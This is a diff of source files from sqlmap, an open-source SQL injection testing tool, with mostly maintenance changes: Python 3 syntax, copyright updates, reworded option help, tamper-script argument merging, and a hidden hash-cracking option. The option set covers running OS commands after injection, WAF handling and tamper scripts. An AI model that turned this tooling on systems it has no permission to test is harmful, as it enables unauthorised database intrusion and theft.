errMsg += "sure that you haven't made any changes to it" errMsg += "sure that you haven't made any changes to it"
@@ -68,15 +68,15 @@ class Wordlist(object):
while True: while True:
self.counter += 1 self.counter += 1
try: try:
retVal = self.iter.next().rstrip() retVal = next(self.iter).rstrip()
except zipfile.error, ex: except zipfile.error as ex:
errMsg = "something appears to be wrong with " errMsg = "something appears to be wrong with "
errMsg += "the file '%s' ('%s'). Please make " % (self.current, getSafeExString(ex)) errMsg += "the file '%s' ('%s'). Please make " % (self.current, getSafeExString(ex))
errMsg += "sure that you haven't made any changes to it" errMsg += "sure that you haven't made any changes to it"
raise SqlmapInstallationException(errMsg) raise SqlmapInstallationException(errMsg)
except StopIteration: except StopIteration:
self.adjust() self.adjust()
retVal = self.iter.next().rstrip() retVal = next(self.iter).rstrip()
if not self.proc_count or self.counter % self.proc_count == self.proc_id: if not self.proc_count or self.counter % self.proc_count == self.proc_id:
break break
return retVal return retVal
+1 -1
View File
@@ -1,7 +1,7 @@
#!/usr/bin/env python #!/usr/bin/env python
""" """
Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/) Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/)
See the file 'LICENSE' for copying permission See the file 'LICENSE' for copying permission
""" """
+1 -1
View File
@@ -1,7 +1,7 @@
#!/usr/bin/env python #!/usr/bin/env python
""" """
Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/) Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/)
See the file 'LICENSE' for copying permission See the file 'LICENSE' for copying permission
""" """
+35 -18
View File
@@ -1,10 +1,12 @@
#!/usr/bin/env python #!/usr/bin/env python
""" """
Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/) Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/)
See the file 'LICENSE' for copying permission See the file 'LICENSE' for copying permission
""" """
from __future__ import print_function
import os import os
import re import re
import shlex import shlex
@@ -29,6 +31,7 @@ from lib.core.exception import SqlmapShellQuitException
from lib.core.exception import SqlmapSyntaxException from lib.core.exception import SqlmapSyntaxException
from lib.core.settings import BASIC_HELP_ITEMS from lib.core.settings import BASIC_HELP_ITEMS
from lib.core.settings import DUMMY_URL from lib.core.settings import DUMMY_URL
from lib.core.settings import INFERENCE_UNKNOWN_CHAR
from lib.core.settings import IS_WIN from lib.core.settings import IS_WIN
from lib.core.settings import MAX_HELP_OPTION_LENGTH from lib.core.settings import MAX_HELP_OPTION_LENGTH
from lib.core.settings import VERSION_STRING from lib.core.settings import VERSION_STRING
@@ -99,16 +102,16 @@ def cmdLineParser(argv=None):
help="Force usage of given HTTP method (e.g. PUT)") help="Force usage of given HTTP method (e.g. PUT)")
request.add_option("--data", dest="data", request.add_option("--data", dest="data",
help="Data string to be sent through POST") help="Data string to be sent through POST (e.g. \"id=1\")")
request.add_option("--param-del", dest="paramDel", request.add_option("--param-del", dest="paramDel",
help="Character used for splitting parameter values") help="Character used for splitting parameter values (e.g. &)")
request.add_option("--cookie", dest="cookie", request.add_option("--cookie", dest="cookie",
help="HTTP Cookie header value") help="HTTP Cookie header value (e.g. \"PHPSESSID=a8d127e..\")")
request.add_option("--cookie-del", dest="cookieDel", request.add_option("--cookie-del", dest="cookieDel",
help="Character used for splitting cookie values") help="Character used for splitting cookie values (e.g. ;)")
request.add_option("--load-cookies", dest="loadCookies", request.add_option("--load-cookies", dest="loadCookies",
help="File containing cookies in Netscape/wget format") help="File containing cookies in Netscape/wget format")
@@ -144,7 +147,7 @@ def cmdLineParser(argv=None):
help="HTTP authentication PEM cert/private key file") help="HTTP authentication PEM cert/private key file")
request.add_option("--ignore-code", dest="ignoreCode", type="int", request.add_option("--ignore-code", dest="ignoreCode", type="int",
help="Ignore HTTP error code (e.g. 401)") help="Ignore (problematic) HTTP error code (e.g. 401)")
request.add_option("--ignore-proxy", dest="ignoreProxy", action="store_true", request.add_option("--ignore-proxy", dest="ignoreProxy", action="store_true",
help="Ignore system default proxy settings") help="Ignore system default proxy settings")
@@ -207,7 +210,7 @@ def cmdLineParser(argv=None):
help="Parameter used to hold anti-CSRF token") help="Parameter used to hold anti-CSRF token")
request.add_option("--csrf-url", dest="csrfUrl", request.add_option("--csrf-url", dest="csrfUrl",
help="URL address to visit to extract anti-CSRF token") help="URL address to visit for extraction of anti-CSRF token")
request.add_option("--force-ssl", dest="forceSSL", action="store_true", request.add_option("--force-ssl", dest="forceSSL", action="store_true",
help="Force usage of SSL/HTTPS") help="Force usage of SSL/HTTPS")
@@ -592,6 +595,9 @@ def cmdLineParser(argv=None):
general.add_option("--parse-errors", dest="parseErrors", action="store_true", general.add_option("--parse-errors", dest="parseErrors", action="store_true",
help="Parse and display DBMS error messages from responses") help="Parse and display DBMS error messages from responses")
general.add_option("--repair", dest="repair", action="store_true",
help="Redump entries having unknown character marker (%s)" % INFERENCE_UNKNOWN_CHAR)
general.add_option("--save", dest="saveConfig", general.add_option("--save", dest="saveConfig",
help="Save options to a configuration INI file") help="Save options to a configuration INI file")
@@ -617,7 +623,7 @@ def cmdLineParser(argv=None):
help="Run host OS command(s) when SQL injection is found") help="Run host OS command(s) when SQL injection is found")
miscellaneous.add_option("--answers", dest="answers", miscellaneous.add_option("--answers", dest="answers",
help="Set question answers (e.g. \"quit=N,follow=N\")") help="Set predefined answers (e.g. \"quit=N,follow=N\")")
miscellaneous.add_option("--beep", dest="beep", action="store_true", miscellaneous.add_option("--beep", dest="beep", action="store_true",
help="Beep on question and/or when SQL injection is found") help="Beep on question and/or when SQL injection is found")
@@ -626,7 +632,7 @@ def cmdLineParser(argv=None):
help="Clean up the DBMS from sqlmap specific UDF and tables") help="Clean up the DBMS from sqlmap specific UDF and tables")
miscellaneous.add_option("--dependencies", dest="dependencies", action="store_true", miscellaneous.add_option("--dependencies", dest="dependencies", action="store_true",
help="Check for missing (non-core) sqlmap dependencies") help="Check for missing (optional) sqlmap dependencies")
miscellaneous.add_option("--disable-coloring", dest="disableColoring", action="store_true", miscellaneous.add_option("--disable-coloring", dest="disableColoring", action="store_true",
help="Disable console output coloring") help="Disable console output coloring")
@@ -635,7 +641,7 @@ def cmdLineParser(argv=None):
help="Use Google dork results from specified page number") help="Use Google dork results from specified page number")
miscellaneous.add_option("--identify-waf", dest="identifyWaf", action="store_true", miscellaneous.add_option("--identify-waf", dest="identifyWaf", action="store_true",
help="Make a thorough testing for a WAF/IPS/IDS protection") help="Make a thorough testing for a WAF/IPS protection")
miscellaneous.add_option("--list-tampers", dest="listTampers", action="store_true", miscellaneous.add_option("--list-tampers", dest="listTampers", action="store_true",
help="Display list of available tamper scripts") help="Display list of available tamper scripts")
@@ -650,7 +656,7 @@ def cmdLineParser(argv=None):
help="Safely remove all content from sqlmap data directory") help="Safely remove all content from sqlmap data directory")
miscellaneous.add_option("--skip-waf", dest="skipWaf", action="store_true", miscellaneous.add_option("--skip-waf", dest="skipWaf", action="store_true",
help="Skip heuristic detection of WAF/IPS/IDS protection") help="Skip heuristic detection of WAF/IPS protection")
miscellaneous.add_option("--smart", dest="smart", action="store_true", miscellaneous.add_option("--smart", dest="smart", action="store_true",
help="Conduct thorough tests only if positive heuristic(s)") help="Conduct thorough tests only if positive heuristic(s)")
@@ -668,6 +674,10 @@ def cmdLineParser(argv=None):
help="Simple wizard interface for beginner users") help="Simple wizard interface for beginner users")
# Hidden and/or experimental options # Hidden and/or experimental options
parser.add_option("--crack", dest="hashFile",
help=SUPPRESS_HELP)
# help="Load and crack hashes from a file (standalone)")
parser.add_option("--dummy", dest="dummy", action="store_true", parser.add_option("--dummy", dest="dummy", action="store_true",
help=SUPPRESS_HELP) help=SUPPRESS_HELP)
@@ -753,6 +763,7 @@ def cmdLineParser(argv=None):
prompt = False prompt = False
advancedHelp = True advancedHelp = True
extraHeaders = [] extraHeaders = []
tamperIndex = None
# Reference: https://stackoverflow.com/a/4012683 (Note: previously used "...sys.getfilesystemencoding() or UNICODE_ENCODING") # Reference: https://stackoverflow.com/a/4012683 (Note: previously used "...sys.getfilesystemencoding() or UNICODE_ENCODING")
for arg in argv: for arg in argv:
@@ -787,7 +798,7 @@ def cmdLineParser(argv=None):
command = raw_input("sqlmap-shell> ").strip() command = raw_input("sqlmap-shell> ").strip()
command = getUnicode(command, encoding=sys.stdin.encoding) command = getUnicode(command, encoding=sys.stdin.encoding)
except (KeyboardInterrupt, EOFError): except (KeyboardInterrupt, EOFError):
print print()
raise SqlmapShellQuitException raise SqlmapShellQuitException
if not command: if not command:
@@ -809,7 +820,7 @@ def cmdLineParser(argv=None):
try: try:
for arg in shlex.split(command): for arg in shlex.split(command):
argv.append(getUnicode(arg, encoding=sys.stdin.encoding)) argv.append(getUnicode(arg, encoding=sys.stdin.encoding))
except ValueError, ex: except ValueError as ex:
raise SqlmapSyntaxException("something went wrong during command line parsing ('%s')" % ex.message) raise SqlmapSyntaxException("something went wrong during command line parsing ('%s')" % ex.message)
for i in xrange(len(argv)): for i in xrange(len(argv)):
@@ -824,6 +835,12 @@ def cmdLineParser(argv=None):
elif re.search(r"\A-\w=.+", argv[i]): elif re.search(r"\A-\w=.+", argv[i]):
dataToStdout("[!] potentially miswritten (illegal '=') short option detected ('%s')\n" % argv[i]) dataToStdout("[!] potentially miswritten (illegal '=') short option detected ('%s')\n" % argv[i])
raise SystemExit raise SystemExit
elif argv[i].startswith("--tamper"):
if tamperIndex is None:
tamperIndex = i if '=' in argv[i] else (i + 1 if i + 1 < len(argv) and not argv[i + 1].startswith('-') else None)
else:
argv[tamperIndex] = "%s,%s" % (argv[tamperIndex], argv[i].split('=')[1] if '=' in argv[i] else (argv[i + 1] if i + 1 < len(argv) and not argv[i + 1].startswith('-') else ""))
argv[i] = ""
elif argv[i] == "-H": elif argv[i] == "-H":
if i + 1 < len(argv): if i + 1 < len(argv):
extraHeaders.append(argv[i + 1]) extraHeaders.append(argv[i + 1])
@@ -831,7 +848,7 @@ def cmdLineParser(argv=None):
argv[i] = argv[i][:-1] argv[i] = argv[i][:-1]
conf.skipThreadCheck = True conf.skipThreadCheck = True
elif argv[i] == "--version": elif argv[i] == "--version":
print VERSION_STRING.split('/')[-1] print(VERSION_STRING.split('/')[-1])
raise SystemExit raise SystemExit
elif argv[i] in ("-h", "--help"): elif argv[i] in ("-h", "--help"):
advancedHelp = False advancedHelp = False
@@ -855,7 +872,7 @@ def cmdLineParser(argv=None):
try: try:
(args, _) = parser.parse_args(argv) (args, _) = parser.parse_args(argv)
except UnicodeEncodeError, ex: except UnicodeEncodeError as ex:
dataToStdout("\n[!] %s\n" % ex.object.encode("unicode-escape")) dataToStdout("\n[!] %s\n" % ex.object.encode("unicode-escape"))
raise SystemExit raise SystemExit
except SystemExit: except SystemExit:
@@ -877,15 +894,15 @@ def cmdLineParser(argv=None):
if args.dummy: if args.dummy:
args.url = args.url or DUMMY_URL args.url = args.url or DUMMY_URL
if not any((args.direct, args.url, args.logFile, args.bulkFile, args.googleDork, args.configFile, args.requestFile, args.updateAll, args.smokeTest, args.liveTest, args.wizard, args.dependencies, args.purge, args.sitemapUrl, args.listTampers)): if not any((args.direct, args.url, args.logFile, args.bulkFile, args.googleDork, args.configFile, args.requestFile, args.updateAll, args.smokeTest, args.liveTest, args.wizard, args.dependencies, args.purge, args.sitemapUrl, args.listTampers, args.hashFile)):
errMsg = "missing a mandatory option (-d, -u, -l, -m, -r, -g, -c, -x, --list-tampers, --wizard, --update, --purge or --dependencies). " errMsg = "missing a mandatory option (-d, -u, -l, -m, -r, -g, -c, -x, --list-tampers, --wizard, --update, --purge or --dependencies). "
errMsg += "Use -h for basic and -hh for advanced help\n" errMsg += "Use -h for basic and -hh for advanced help\n"
parser.error(errMsg) parser.error(errMsg)
return args return args
except (OptionError, TypeError), e: except (OptionError, TypeError) as ex:
parser.error(e) parser.error(ex)
except SystemExit: except SystemExit:
# Protection against Windows dummy double clicking # Protection against Windows dummy double clicking
+3 -3
View File
@@ -1,7 +1,7 @@
#!/usr/bin/env python #!/usr/bin/env python
""" """
Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/) Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/)
See the file 'LICENSE' for copying permission See the file 'LICENSE' for copying permission
""" """
@@ -39,7 +39,7 @@ def configFileProxy(section, option, datatype):
value = config.getfloat(section, option) if config.get(section, option) else 0.0 value = config.getfloat(section, option) if config.get(section, option) else 0.0
else: else:
value = config.get(section, option) value = config.get(section, option)
except ValueError, ex: except ValueError as ex:
errMsg = "error occurred while processing the option " errMsg = "error occurred while processing the option "
errMsg += "'%s' in provided configuration file ('%s')" % (option, getUnicode(ex)) errMsg += "'%s' in provided configuration file ('%s')" % (option, getUnicode(ex))
raise SqlmapSyntaxException(errMsg) raise SqlmapSyntaxException(errMsg)
@@ -71,7 +71,7 @@ def configFileParser(configFile):
try: try:
config = UnicodeRawConfigParser() config = UnicodeRawConfigParser()
config.readfp(configFP) config.readfp(configFP)
except Exception, ex: except Exception as ex:
errMsg = "you have provided an invalid and/or unreadable configuration file ('%s')" % getSafeExString(ex) errMsg = "you have provided an invalid and/or unreadable configuration file ('%s')" % getSafeExString(ex)
raise SqlmapSyntaxException(errMsg) raise SqlmapSyntaxException(errMsg)
+2 -2
View File
@@ -1,7 +1,7 @@
#!/usr/bin/env python #!/usr/bin/env python
""" """
Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/) Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/)
See the file 'LICENSE' for copying permission See the file 'LICENSE' for copying permission
""" """
@@ -35,7 +35,7 @@ class FingerprintHandler(ContentHandler):
if key == "dbmsVersion": if key == "dbmsVersion":
self._info[key] = value self._info[key] = value
else: else:
if key not in self._info.keys(): if key not in self._info:
self._info[key] = set() self._info[key] = set()
for _ in value.split("|"): for _ in value.split("|"):
+1 -1
View File
@@ -1,7 +1,7 @@
#!/usr/bin/env python #!/usr/bin/env python
""" """
Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/) Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/)
See the file 'LICENSE' for copying permission See the file 'LICENSE' for copying permission
""" """
+1 -1
View File
@@ -1,7 +1,7 @@
#!/usr/bin/env python #!/usr/bin/env python
""" """
Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/) Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/)
See the file 'LICENSE' for copying permission See the file 'LICENSE' for copying permission
""" """
+7 -3
View File
@@ -1,11 +1,12 @@
#!/usr/bin/env python #!/usr/bin/env python
""" """
Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/) Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/)
See the file 'LICENSE' for copying permission See the file 'LICENSE' for copying permission
""" """
import os import os
import re
from xml.etree import ElementTree as et from xml.etree import ElementTree as et
@@ -17,6 +18,9 @@ from lib.core.exception import SqlmapInstallationException
from lib.core.settings import PAYLOAD_XML_FILES from lib.core.settings import PAYLOAD_XML_FILES
def cleanupVals(text, tag): def cleanupVals(text, tag):
if tag == "clause" and '-' in text:
text = re.sub(r"(\d+)-(\d+)", lambda match: ','.join(str(_) for _ in xrange(int(match.group(1)), int(match.group(2)) + 1)), text)
if tag in ("clause", "where"): if tag in ("clause", "where"):
text = text.split(',') text = text.split(',')
@@ -74,7 +78,7 @@ def parseXmlNode(node):
def loadBoundaries(): def loadBoundaries():
try: try:
doc = et.parse(paths.BOUNDARIES_XML) doc = et.parse(paths.BOUNDARIES_XML)
except Exception, ex: except Exception as ex:
errMsg = "something appears to be wrong with " errMsg = "something appears to be wrong with "
errMsg += "the file '%s' ('%s'). Please make " % (paths.BOUNDARIES_XML, getSafeExString(ex)) errMsg += "the file '%s' ('%s'). Please make " % (paths.BOUNDARIES_XML, getSafeExString(ex))
errMsg += "sure that you haven't made any changes to it" errMsg += "sure that you haven't made any changes to it"
@@ -89,7 +93,7 @@ def loadPayloads():
try: try:
doc = et.parse(payloadFilePath) doc = et.parse(payloadFilePath)
except Exception, ex: except Exception as ex:
errMsg = "something appears to be wrong with " errMsg = "something appears to be wrong with "
errMsg += "the file '%s' ('%s'). Please make " % (payloadFilePath, getSafeExString(ex)) errMsg += "the file '%s' ('%s'). Please make " % (payloadFilePath, getSafeExString(ex))
errMsg += "sure that you haven't made any changes to it" errMsg += "sure that you haven't made any changes to it"
+1 -1
View File
@@ -1,7 +1,7 @@
#!/usr/bin/env python #!/usr/bin/env python
""" """
Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/) Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/)
See the file 'LICENSE' for copying permission See the file 'LICENSE' for copying permission
""" """
+1 -1
View File
@@ -1,7 +1,7 @@
#!/usr/bin/env python #!/usr/bin/env python
""" """
Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/) Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/)
See the file 'LICENSE' for copying permission See the file 'LICENSE' for copying permission
""" """
+32 -34
View File
@@ -1,7 +1,7 @@
#!/usr/bin/env python #!/usr/bin/env python
""" """
Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/) Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/)
See the file 'LICENSE' for copying permission See the file 'LICENSE' for copying permission
""" """
@@ -17,6 +17,7 @@ from lib.core.common import Backend
from lib.core.common import extractErrorMessage from lib.core.common import extractErrorMessage
from lib.core.common import extractRegexResult from lib.core.common import extractRegexResult
from lib.core.common import getPublicTypeMembers from lib.core.common import getPublicTypeMembers
from lib.core.common import getSafeExString
from lib.core.common import getUnicode from lib.core.common import getUnicode
from lib.core.common import isListLike from lib.core.common import isListLike
from lib.core.common import randomStr from lib.core.common import randomStr
@@ -56,7 +57,7 @@ def forgeHeaders(items=None, base=None):
items = items or {} items = items or {}
for _ in items.keys(): for _ in list(items.keys()):
if items[_] is None: if items[_] is None:
del items[_] del items[_]
@@ -280,10 +281,10 @@ def decodePage(page, contentEncoding, contentType):
raise Exception("size too large") raise Exception("size too large")
page = data.read() page = data.read()
except Exception, msg: except Exception as ex:
if "<html" not in page: # in some cases, invalid "Content-Encoding" appears for plain HTML (should be ignored) if "<html" not in page: # in some cases, invalid "Content-Encoding" appears for plain HTML (should be ignored)
errMsg = "detected invalid data for declared content " errMsg = "detected invalid data for declared content "
errMsg += "encoding '%s' ('%s')" % (contentEncoding, msg) errMsg += "encoding '%s' ('%s')" % (contentEncoding, getSafeExString(ex))
singleTimeLogMessage(errMsg, logging.ERROR) singleTimeLogMessage(errMsg, logging.ERROR)
warnMsg = "turning off page compression" warnMsg = "turning off page compression"
@@ -312,43 +313,40 @@ def decodePage(page, contentEncoding, contentType):
# can't do for all responses because we need to support binary files too # can't do for all responses because we need to support binary files too
if not isinstance(page, unicode) and "text/" in contentType: if not isinstance(page, unicode) and "text/" in contentType:
if kb.heuristicMode: # e.g. &#x9;&#195;&#235;&#224;&#226;&#224;
kb.pageEncoding = kb.pageEncoding or checkCharEncoding(getHeuristicCharEncoding(page)) if "&#" in page:
page = getUnicode(page, kb.pageEncoding) page = re.sub(r"&#x([0-9a-f]{1,2});", lambda _: (_.group(1) if len(_.group(1)) == 2 else "0%s" % _.group(1)).decode("hex"), page)
else: page = re.sub(r"&#(\d{1,3});", lambda _: chr(int(_.group(1))) if int(_.group(1)) < 256 else _.group(0), page)
# e.g. &#195;&#235;&#224;&#226;&#224;
if "&#" in page:
page = re.sub(r"&#(\d{1,3});", lambda _: chr(int(_.group(1))) if int(_.group(1)) < 256 else _.group(0), page)
# e.g. %20%28%29 # e.g. %20%28%29
if "%" in page: if "%" in page:
page = re.sub(r"%([0-9a-fA-F]{2})", lambda _: _.group(1).decode("hex"), page) page = re.sub(r"%([0-9a-fA-F]{2})", lambda _: _.group(1).decode("hex"), page)
# e.g. &amp; # e.g. &amp;
page = re.sub(r"&([^;]+);", lambda _: chr(htmlEntities[_.group(1)]) if htmlEntities.get(_.group(1), 256) < 256 else _.group(0), page) page = re.sub(r"&([^;]+);", lambda _: chr(htmlEntities[_.group(1)]) if htmlEntities.get(_.group(1), 256) < 256 else _.group(0), page)
kb.pageEncoding = kb.pageEncoding or checkCharEncoding(getHeuristicCharEncoding(page)) kb.pageEncoding = kb.pageEncoding or checkCharEncoding(getHeuristicCharEncoding(page))
if (kb.pageEncoding or "").lower() == "utf-8-sig": if (kb.pageEncoding or "").lower() == "utf-8-sig":
kb.pageEncoding = "utf-8" kb.pageEncoding = "utf-8"
if page and page.startswith("\xef\xbb\xbf"): # Reference: https://docs.python.org/2/library/codecs.html (Note: noticed problems when "utf-8-sig" is left to Python for handling) if page and page.startswith("\xef\xbb\xbf"): # Reference: https://docs.python.org/2/library/codecs.html (Note: noticed problems when "utf-8-sig" is left to Python for handling)
page = page[3:] page = page[3:]
page = getUnicode(page, kb.pageEncoding) page = getUnicode(page, kb.pageEncoding)
# e.g. &#8217;&#8230;&#8482; # e.g. &#8217;&#8230;&#8482;
if "&#" in page: if "&#" in page:
def _(match): def _(match):
retVal = match.group(0) retVal = match.group(0)
try: try:
retVal = unichr(int(match.group(1))) retVal = unichr(int(match.group(1)))
except ValueError: except (ValueError, OverflowError):
pass pass
return retVal return retVal
page = re.sub(r"&#(\d+);", _, page) page = re.sub(r"&#(\d+);", _, page)
# e.g. &zeta; # e.g. &zeta;
page = re.sub(r"&([^;]+);", lambda _: unichr(htmlEntities[_.group(1)]) if htmlEntities.get(_.group(1), 0) > 255 else _.group(0), page) page = re.sub(r"&([^;]+);", lambda _: unichr(htmlEntities[_.group(1)]) if htmlEntities.get(_.group(1), 0) > 255 else _.group(0), page)
return page return page
+1 -1
View File
@@ -1,7 +1,7 @@
#!/usr/bin/env python #!/usr/bin/env python
""" """
Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/) Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/)
See the file 'LICENSE' for copying permission See the file 'LICENSE' for copying permission
""" """
+1 -1
View File
@@ -1,7 +1,7 @@
#!/usr/bin/env python #!/usr/bin/env python
""" """
Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/) Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/)
See the file 'LICENSE' for copying permission See the file 'LICENSE' for copying permission
""" """
+126 -70
View File
@@ -1,7 +1,7 @@
#!/usr/bin/env python #!/usr/bin/env python
""" """
Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/) Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/)
See the file 'LICENSE' for copying permission See the file 'LICENSE' for copying permission
""" """
@@ -16,6 +16,7 @@ import string
import struct import struct
import time import time
import traceback import traceback
import urllib
import urllib2 import urllib2
import urlparse import urlparse
@@ -43,6 +44,7 @@ from lib.core.common import getHostHeader
from lib.core.common import getRequestHeader from lib.core.common import getRequestHeader
from lib.core.common import getSafeExString from lib.core.common import getSafeExString
from lib.core.common import getUnicode from lib.core.common import getUnicode
from lib.core.common import isMultiThreadMode
from lib.core.common import logHTTPTraffic from lib.core.common import logHTTPTraffic
from lib.core.common import pushValue from lib.core.common import pushValue
from lib.core.common import popValue from lib.core.common import popValue
@@ -63,11 +65,13 @@ from lib.core.common import urlencode
from lib.core.data import conf from lib.core.data import conf
from lib.core.data import kb from lib.core.data import kb
from lib.core.data import logger from lib.core.data import logger
from lib.core.datatype import AttribDict
from lib.core.decorators import stackedmethod from lib.core.decorators import stackedmethod
from lib.core.dicts import POST_HINT_CONTENT_TYPES from lib.core.dicts import POST_HINT_CONTENT_TYPES
from lib.core.enums import ADJUST_TIME_DELAY from lib.core.enums import ADJUST_TIME_DELAY
from lib.core.enums import AUTH_TYPE from lib.core.enums import AUTH_TYPE
from lib.core.enums import CUSTOM_LOGGING from lib.core.enums import CUSTOM_LOGGING
from lib.core.enums import HINT
from lib.core.enums import HTTP_HEADER from lib.core.enums import HTTP_HEADER
from lib.core.enums import HTTPMETHOD from lib.core.enums import HTTPMETHOD
from lib.core.enums import NULLCONNECTION from lib.core.enums import NULLCONNECTION
@@ -75,7 +79,7 @@ from lib.core.enums import PAYLOAD
from lib.core.enums import PLACE from lib.core.enums import PLACE
from lib.core.enums import POST_HINT from lib.core.enums import POST_HINT
from lib.core.enums import REDIRECTION from lib.core.enums import REDIRECTION
from lib.core.enums import WEB_API from lib.core.enums import WEB_PLATFORM
from lib.core.exception import SqlmapCompressionException from lib.core.exception import SqlmapCompressionException
from lib.core.exception import SqlmapConnectionException from lib.core.exception import SqlmapConnectionException
from lib.core.exception import SqlmapGenericException from lib.core.exception import SqlmapGenericException
@@ -87,6 +91,7 @@ from lib.core.settings import BOUNDARY_BACKSLASH_MARKER
from lib.core.settings import DEFAULT_CONTENT_TYPE from lib.core.settings import DEFAULT_CONTENT_TYPE
from lib.core.settings import DEFAULT_COOKIE_DELIMITER from lib.core.settings import DEFAULT_COOKIE_DELIMITER
from lib.core.settings import DEFAULT_GET_POST_DELIMITER from lib.core.settings import DEFAULT_GET_POST_DELIMITER
from lib.core.settings import DEFAULT_USER_AGENT
from lib.core.settings import EVALCODE_KEYWORD_SUFFIX from lib.core.settings import EVALCODE_KEYWORD_SUFFIX
from lib.core.settings import HTTP_ACCEPT_HEADER_VALUE from lib.core.settings import HTTP_ACCEPT_HEADER_VALUE
from lib.core.settings import HTTP_ACCEPT_ENCODING_HEADER_VALUE from lib.core.settings import HTTP_ACCEPT_ENCODING_HEADER_VALUE
@@ -97,6 +102,8 @@ from lib.core.settings import MAX_CONSECUTIVE_CONNECTION_ERRORS
from lib.core.settings import MAX_MURPHY_SLEEP_TIME from lib.core.settings import MAX_MURPHY_SLEEP_TIME
from lib.core.settings import META_REFRESH_REGEX from lib.core.settings import META_REFRESH_REGEX
from lib.core.settings import MIN_TIME_RESPONSES from lib.core.settings import MIN_TIME_RESPONSES
from lib.core.settings import MAX_TIME_RESPONSES
from lib.core.settings import IPS_WAF_CHECK_PAYLOAD
from lib.core.settings import IS_WIN from lib.core.settings import IS_WIN
from lib.core.settings import LARGE_CHUNK_TRIM_MARKER from lib.core.settings import LARGE_CHUNK_TRIM_MARKER
from lib.core.settings import PAYLOAD_DELIMITER from lib.core.settings import PAYLOAD_DELIMITER
@@ -168,9 +175,11 @@ class Connect(object):
warnMsg += "(e.g. 'https://help.ubuntu.com/community/Tor')" warnMsg += "(e.g. 'https://help.ubuntu.com/community/Tor')"
else: else:
warnMsg = "if the problem persists please check that the provided " warnMsg = "if the problem persists please check that the provided "
warnMsg += "target URL is valid. In case that it is, you can try to rerun " warnMsg += "target URL is reachable. In case that it is, "
warnMsg += "with the switch '--random-agent' turned on " warnMsg += "you can try to rerun with "
warnMsg += "and/or proxy switches ('--ignore-proxy', '--proxy',...)" if not conf.randomAgent:
warnMsg += "switch '--random-agent' and/or "
warnMsg += "proxy switches ('--ignore-proxy', '--proxy',...)"
singleTimeWarnMessage(warnMsg) singleTimeWarnMessage(warnMsg)
elif conf.threads > 1: elif conf.threads > 1:
@@ -262,6 +271,7 @@ class Connect(object):
crawling = kwargs.get("crawling", False) crawling = kwargs.get("crawling", False)
checking = kwargs.get("checking", False) checking = kwargs.get("checking", False)
skipRead = kwargs.get("skipRead", False) skipRead = kwargs.get("skipRead", False)
finalCode = kwargs.get("finalCode", False)
if multipart: if multipart:
post = multipart post = multipart
@@ -357,14 +367,21 @@ class Connect(object):
if kb.proxyAuthHeader: if kb.proxyAuthHeader:
headers[HTTP_HEADER.PROXY_AUTHORIZATION] = kb.proxyAuthHeader headers[HTTP_HEADER.PROXY_AUTHORIZATION] = kb.proxyAuthHeader
if not getHeader(headers, HTTP_HEADER.ACCEPT): if not conf.requestFile or not target:
headers[HTTP_HEADER.ACCEPT] = HTTP_ACCEPT_HEADER_VALUE if not getHeader(headers, HTTP_HEADER.HOST):
headers[HTTP_HEADER.HOST] = getHostHeader(url)
if not getHeader(headers, HTTP_HEADER.HOST) or not target: if not getHeader(headers, HTTP_HEADER.ACCEPT):
headers[HTTP_HEADER.HOST] = getHostHeader(url) headers[HTTP_HEADER.ACCEPT] = HTTP_ACCEPT_HEADER_VALUE
if not getHeader(headers, HTTP_HEADER.ACCEPT_ENCODING): if not getHeader(headers, HTTP_HEADER.ACCEPT_ENCODING):
headers[HTTP_HEADER.ACCEPT_ENCODING] = HTTP_ACCEPT_ENCODING_HEADER_VALUE if kb.pageCompress else "identity" headers[HTTP_HEADER.ACCEPT_ENCODING] = HTTP_ACCEPT_ENCODING_HEADER_VALUE if kb.pageCompress else "identity"
elif conf.requestFile and getHeader(headers, HTTP_HEADER.USER_AGENT) == DEFAULT_USER_AGENT:
for header in headers:
if header.upper() == HTTP_HEADER.USER_AGENT.upper():
del headers[header]
break
if post is not None and not multipart and not getHeader(headers, HTTP_HEADER.CONTENT_TYPE): if post is not None and not multipart and not getHeader(headers, HTTP_HEADER.CONTENT_TYPE):
headers[HTTP_HEADER.CONTENT_TYPE] = POST_HINT_CONTENT_TYPES.get(kb.postHint, DEFAULT_CONTENT_TYPE) headers[HTTP_HEADER.CONTENT_TYPE] = POST_HINT_CONTENT_TYPES.get(kb.postHint, DEFAULT_CONTENT_TYPE)
@@ -381,10 +398,6 @@ class Connect(object):
if conf.keepAlive: if conf.keepAlive:
headers[HTTP_HEADER.CONNECTION] = "keep-alive" headers[HTTP_HEADER.CONNECTION] = "keep-alive"
# Reset header values to original in case of provided request file
if target and conf.requestFile:
headers = forgeHeaders({HTTP_HEADER.COOKIE: cookie})
if auxHeaders: if auxHeaders:
headers = forgeHeaders(auxHeaders, headers) headers = forgeHeaders(auxHeaders, headers)
@@ -485,7 +498,7 @@ class Connect(object):
if hasattr(conn, "redurl"): if hasattr(conn, "redurl"):
